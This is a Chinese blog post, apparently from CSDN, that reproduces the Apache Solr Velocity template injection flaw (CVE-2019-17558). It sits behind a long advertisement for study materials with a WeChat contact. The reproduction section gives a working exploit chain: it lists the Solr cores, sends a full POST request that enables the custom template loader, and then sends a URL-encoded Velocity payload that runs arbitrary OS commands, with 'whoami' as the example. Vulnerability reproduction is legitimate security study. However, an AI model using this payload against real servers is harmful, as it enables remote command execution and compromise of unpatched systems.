Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

2401_84545618

于 2024-05-16 05:42:04 发布

阅读量650

点赞数 18

分类专栏： 2024年程序员学习文章标签：网络安全 web安全面试

本文链接：https://blog.csdn.net/2401_84545618/article/details/138937830

版权

2024年程序员学习专栏收录该内容

9 篇文章 0 订阅

订阅专栏

本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。

最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。

最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！下面就开始进入正题，如何从一个萌新一步一步进入网络安全行业。

需要体系化学习资料的朋友，可以加我V获取：vip204888 （备注网络安全）

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图，这里我给大家分享一份打磨了3个月，已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字，还是生动的视频教程更加适合零基础的同学们学习，这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然，当你入门之后，仅仅是视频教程已经不能满足你的需求了，你肯定需要学习各种工具的使用以及大量的实战项目，这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战，这里带来的是SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底，我们的最终目的都是为了就业，所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过！

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

四、漏洞复现

1、默认情况下params.resource.loader.enabled配置未打开，无法使用自定义模板。

可以先通过如下API获取所有的核心，

http://IP:端口/solr/admin/cores?indexInfo=false&wt=json

2、启用配置 params.resource.loader.enabled 为true，在url访问/solr/name/config，burpsuit抓包
改成POST然后修改启动配置

添加如下请求体，

payload:

POST /solr/name/config HTTP/1.1
Host: IP:端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rememberMe=ZrWSOx/f1eB8kMCUxBKVtpvavMAcnzYhOV12brxMjtGhkKQn5c4s7ebXkSK3L2h2xsHd1X6/dsnPxexTbyDyUu9iX9f1VZ4nzzw0JHvqBIvE++K6sQvy5zQQwTrV01QD63ixjVF6X7UnJffNxBo7PFXIPox+3el8hn5iyyrEgPKerTpiVCzZvejQYX3+Jw5mZyB37u1i7HkayHi2xKhqyAILpQIc3IC/c7ttiyRtb7vZrrxcUcxg9usK6KH4+4r79MZAbve+5WyprSv5FjmuUAISVnmYb+jFB60Lj5/DBMDhqh76I3+u2/v05xCHPY5yPR7uOyIkKJW5V4Eevn3a4oX0DIbR16m+bUhu9mimNcbGXaQMGXpEBOs6zo9RZabRhG15/Pa0ILRrlsydVkLQQ7oIRSHb6xlVvh3lcwyVnnxKeEcl8e3fv4Fi8b0Gy3ceJQVD3PM+Xt1nOsBryIj2BBxscyEk1oq7AmL/pLAmow5Jpq+WC6OzSY7kAsLkI/9k; JSESSIONID=DD1A8B91F1B2FB55E5513FD495DCF51E; PHPSESSID=vuepd29fdnl0h1sed6lrg8nea1; ADMINCONSOLESESSION=EFzGRVL02XWVtpKgizObGYq823nJwosV50EHY1W6OGTj5BKqBElL!-1101485479; -http-session-=4::http.session::f35ab9c4d2b3ff41989f7c9b68125358; Hm_lvt_deaeca6802357287fb453f342ce28dda=1635738037; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1635738037
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3、通过Velocity模板执行命令，如whoami。修改exec(%27whoami%27)中的代码即可更改命令。

注意：此时burpsuit里面请求方法由POST改为GET

payload:

/solr/name/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

4、使用python脚本进行漏洞利用，使用python3运行；

注：此类利用脚本GitHub上很多可自行搜索